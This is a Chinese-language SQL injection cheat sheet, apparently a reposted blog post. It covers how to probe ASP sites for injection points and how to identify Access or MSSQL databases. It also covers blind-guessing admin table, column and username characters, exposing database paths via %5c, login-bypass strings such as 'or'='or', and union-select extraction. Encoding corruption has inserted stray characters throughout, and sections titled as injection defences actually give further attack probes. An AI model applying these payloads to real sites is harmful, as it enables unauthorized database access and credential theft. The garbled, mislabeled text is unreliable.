1、加入單引號(hào) ’提交,
結(jié)果:如果出現(xiàn)錯(cuò)誤提示嘴秸,則該網(wǎng)站可能就存在注入漏洞毁欣。
2、數(shù)字型判斷是否有注入; 語句:and 1=1 ;and 1=2 (經(jīng)典)岳掐、' and '1'=1(字符型)
結(jié)果:分別返回不同的頁面,說明存在注入漏洞.
分析:and 的意思是“和”如果沒有過濾我們的語句凭疮,and 1=1就會(huì)被代入SQL查詢語句進(jìn)行查詢, 如果and前后的兩條語句都是真的話就不會(huì)出錯(cuò)串述,但如果前后語句有一個(gè)為假的話执解,程序就會(huì)暴錯(cuò)。 也就表明程序有注入漏洞
防注入解決辦法:
1>使用or 2>1 ; or 1>2來進(jìn)行判斷
結(jié)果:分別返回不同的頁面,說明存在注入漏洞.
分析:or注入只要求前后兩個(gè)語句只要有一個(gè)正確就為真纲酗,如果前后兩個(gè)語句都是正確的衰腌,反而為假。 記酌偕蕖:or注入時(shí)右蕊,or后面的語句如果是正確的,則返回錯(cuò)誤頁面吮螺!如果是錯(cuò)誤饶囚,則返回正確頁面 ,說明存在注入點(diǎn)鸠补。
2> 使用xor 1=1; xor 1=2
結(jié)果:分別返回不同的頁面,說明存在注入漏洞.
分析:xor 代表著異或,意思即連接的表達(dá)式僅有一個(gè)為真的時(shí)候才為真萝风。 記住:xor注入時(shí)紫岩,xor后面的語句如果是正確的规惰,則返回錯(cuò)誤頁面積,如果是錯(cuò)誤泉蝌,則返回正確 頁面歇万,說明存在注入點(diǎn)揩晴。
3>把a(bǔ)nd 1=1轉(zhuǎn)換成URL編碼形式后在提交 and 1=1 URL編碼:%41%4E%44%20%%31%3D%31
4>使用-1;-0
分析:如果返回的頁面和前面不同堕花,是另一則新聞文狱,則表示有注入漏洞,是數(shù)字型的注入漏洞;在 URL地址后面加上 -0缘挽,URL變成 news.asp?id=123-0瞄崇,返回的頁面和前面的頁面相同,加上-1壕曼,返回錯(cuò)誤頁面苏研,則也表示存在注入漏洞.
3、字符型判斷是否有注入:
語句:' and '1'=1腮郊;' and '1=2(經(jīng)典)
結(jié)果:分別返回不同的頁面,說明存在注入漏洞.
分析:加入' and '1'=1返回正確頁面摹蘑,加入' and '1=2返回錯(cuò)誤頁面,說明有注入漏同轧飞。
防注入解決辦法:
在URL的地址后面加上'%2B'(字符型)
分析:URL地址變?yōu)椋簄ews.asp?id=123'%2B'衅鹿,返回的頁面和1同;加 上'2%2B'asdf,URL地址變?yōu)椋簄ews.asp?id=123'%2Basdf过咬,返回的頁面和1 不同大渤,或者說未發(fā)現(xiàn)該條記錄,或者錯(cuò)誤掸绞,則表示存在注入點(diǎn)泵三,是文本型的。
搜索型判斷是否有注入:
簡單的判斷搜索型注入漏洞存在不存在的辦法是先搜索'衔掸,如果出錯(cuò)烫幕,說明90%存在這個(gè)漏洞。然后搜索%敞映,如果正常返回较曼,說明95%有洞了。
說明:加入如"&"振愿、"["诗芜、"]"、"%"埃疫、"$"、"@"等特殊字符孩哑,都可以實(shí)現(xiàn)栓霜,如果出現(xiàn)錯(cuò)誤,說明有問題横蜒。
操作: 搜索一個(gè)關(guān)鍵字胳蛮,比如2006吧销凑,正常返回所有2006相關(guān)的信息,再搜索2006%'and 1=1 and '%'='和 2006%'and 1=2 and '%'='仅炊,存在異同的話斗幼,就是100%有洞了。關(guān)鍵字%' and 1=1 and '%'='% 關(guān)鍵字%' and 1=2 and '%'='% 將and 1=1 換成注入語句就可以了
判斷數(shù)據(jù)庫類型:
and user>0
例如:showdetail.asp?id=49 ;and user>0 如果是ACCESS數(shù)據(jù)庫,那么返回的錯(cuò)誤里一般會(huì)有"Microsoft JET Database"關(guān)鍵定抚垄,如果是MSSQL數(shù) 據(jù)庫的話返回的錯(cuò)誤提示里一般會(huì)含有"SQL Server"關(guān)鍵了.
猜表名 and exists (select * from 表名)
說明:意思與上面一樣蜕窿,只是用的語名不一樣。
猜列名 and (select count(列名) from 表名)>0
說明:如果我們輸入的列名猜解正確否反回正常頁面
猜長度 and (select top 1 len(username) from admin)>0
說明:如果我們輸入的最后一位數(shù)據(jù)返回錯(cuò)誤呆馁,而錯(cuò)誤前一位數(shù)字返回正確桐经,說明我所猜解的長度 為正確。
猜內(nèi)容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii碼1-128
說明:如果我們輸入的最后一位數(shù)據(jù)返回錯(cuò)誤浙滤,而錯(cuò)誤前一位數(shù)字返回正確阴挣,說明我所猜解的數(shù)字正確。(可以使用折半法猜內(nèi)容)
折半法:最小值與最大值差的一半纺腊,比如輸入50返正確畔咧,輸入100返回錯(cuò)誤,折半后輸入75揖膜。
兩種常見爆庫
1誓沸、%5c
2、conn.asp
%5c暴庫 把二級(jí)目錄中間的/換成%5c EY: otherweb ... s.asp?BigClassName=職 責(zé)范圍&BigClassType=1 如果你能看到:’E:\ahttc040901 \otherweb\dz\database\iXuEr_Studio.asa’不是一 個(gè)有效的 路徑次氨。 確定路徑名稱拼寫是否正確蔽介, 以及是否 連接到文件存放的服務(wù)器。 這樣的就是數(shù)據(jù)庫了煮寡。下載時(shí)用FLASHGET換成.MDB格式的就行 .
conn.asp暴庫 這個(gè)也是比較老的漏洞虹蓄,利用價(jià)值不大
常見的:'or'='or'萬能密碼登陸
’or’=’or’這是一個(gè)可以連接SQL的語名句.可以直接進(jìn)入后臺(tái)。我收集了一下幸撕。類似的還有 : ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a 一個(gè)很老的利用方法薇组,主要用于一些比較老的網(wǎng)站。
聯(lián)合查詢注入(union查詢)
操作步驟:
1>在正常語句后臺(tái)加入 and 1=2 union select * form 表名坐儿,其中*號(hào)代表字段數(shù)量律胀,從1一直追加 (and 1=2 union select 1,2貌矿,3炭菌,4 form 表名)如果字段數(shù)正確就會(huì)有暴錯(cuò)
2>在頁面顯示數(shù)字的地方用真實(shí)得到的字段名代替,如:username,password.
3>在頁面字段值處暴出真實(shí)的數(shù)據(jù)庫字段值逛漫。